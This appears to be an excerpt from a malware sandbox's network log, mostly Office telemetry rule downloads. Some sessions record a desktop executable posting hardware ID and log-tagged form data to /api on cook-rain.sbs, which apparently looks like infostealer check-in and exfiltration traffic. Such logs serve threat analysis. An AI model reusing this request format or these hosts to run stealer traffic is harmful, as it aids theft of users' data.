2024-11-20 07:12:24 UTC	12865	OUT	Data Raw: 2d 2d 53 33 32 48 37 37 54 4b 53 46 55 31 32 4f 35 53 51 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 34 31 38 33 31 32 37 45 31 34 44 35 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 53 33 32 48 37 37 54 4b 53 46 55 31 32 4f 35 53 51 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 33 32 48 37 37 54 4b 53 46 55 31 32 4f 35 53 51 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --S32H77TKSFU12O5SQXContent-Disposition: form-data; name="hwid"B54183127E14D51763CFCF7E6C45F838--S32H77TKSFU12O5SQXContent-Disposition: form-data; name="pid"2--S32H77TKSFU12O5SQXContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-20 07:12:24 UTC	982	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=on10ed8ds7ib1qvn0upot1qkbe; expires=Sun, 16-Mar-2025 00:59:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5RpxcZdfMf7IAp5DDuokjsfde6X98Hv5H97kF0W7dkyBBslmQ0JzNH0YWUYKEWJGJM9H0J9FNJWGL5pQaXed%2Bjc3MgY4YIhswWNlbwta1qMIjH5RP1JxQTWH4AXu%2F85E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a1a8affe430d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&sent=15&recv=19&lost=0&retrans=0&sent_bytes=2828&recv_bytes=13802&delivery_rate=1801357&cwnd=222&unsent_bytes=0&cid=2de577aa69336de8&ts=754&x=0"
2024-11-20 07:12:24 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 07:12:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49751	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:24 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f8feafe0-e01e-0020-2afa-3ade90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071224Z-r1d97b995774zjnrhC1TEBv1ww00000008g0000000006rx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49750	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:24 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071224Z-1777c6cb7549j9hhhC1TEBzmcc00000009800000000030gd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49752	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:24 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:24 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071224Z-185f5d8b95cjbkr4hC1NYCeu2400000009pg00000000gaw3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:24 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49756	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-185f5d8b95cdtclvhC1NYC4rmc0000000a400000000019wy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:25 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49755	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-1777c6cb754mrj2shC1TEB6k7w00000009dg0000000069pr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:25 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49758	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-r1d97b99577tssmjhC1TEB8kan000000089g00000000gg3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:25 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49757	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-185f5d8b95c4bhwphC1NYCs8gw00000009z000000000ekcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:25 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49759	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: dc9cf6b5-501e-0035-0ff8-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-r1d97b99577tssmjhC1TEB8kan00000008eg000000006bfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49760	188.114.97.3	443	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BNBOLCCN10WFKCY1F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15105 Host: cook-rain.sbs
2024-11-20 07:12:25 UTC	15105	OUT	Data Raw: 2d 2d 42 4e 42 4f 4c 43 43 4e 31 30 57 46 4b 43 59 31 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 34 31 38 33 31 32 37 45 31 34 44 35 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 42 4e 42 4f 4c 43 43 4e 31 30 57 46 4b 43 59 31 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 4e 42 4f 4c 43 43 4e 31 30 57 46 4b 43 59 31 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --BNBOLCCN10WFKCY1FContent-Disposition: form-data; name="hwid"B54183127E14D51763CFCF7E6C45F838--BNBOLCCN10WFKCY1FContent-Disposition: form-data; name="pid"2--BNBOLCCN10WFKCY1FContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-20 07:12:26 UTC	983	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=atjnnov061669b7q4kvnsasgg9; expires=Sun, 16-Mar-2025 00:59:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1O0xlMveP1%2FDB2c3tNNXdpWIThlHoRQuVg2AKo1yK7DFuVONqJ2WLXd0iASzqFRaIqBBWxcgAOwdxHjtmsKeWbF6Ue9asTluwlf%2BQdX%2FG4MjzkJat2jo4PKu5g6C1hPT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a1afdf937cfc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2027&sent=6&recv=18&lost=0&retrans=0&sent_bytes=2830&recv_bytes=16041&delivery_rate=1431372&cwnd=217&unsent_bytes=0&cid=384747fed6597528&ts=611&x=0"
2024-11-20 07:12:26 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 07:12:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49761	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-185f5d8b95cdcwrthC1NYCy5b800000009y0000000003b41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49763	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
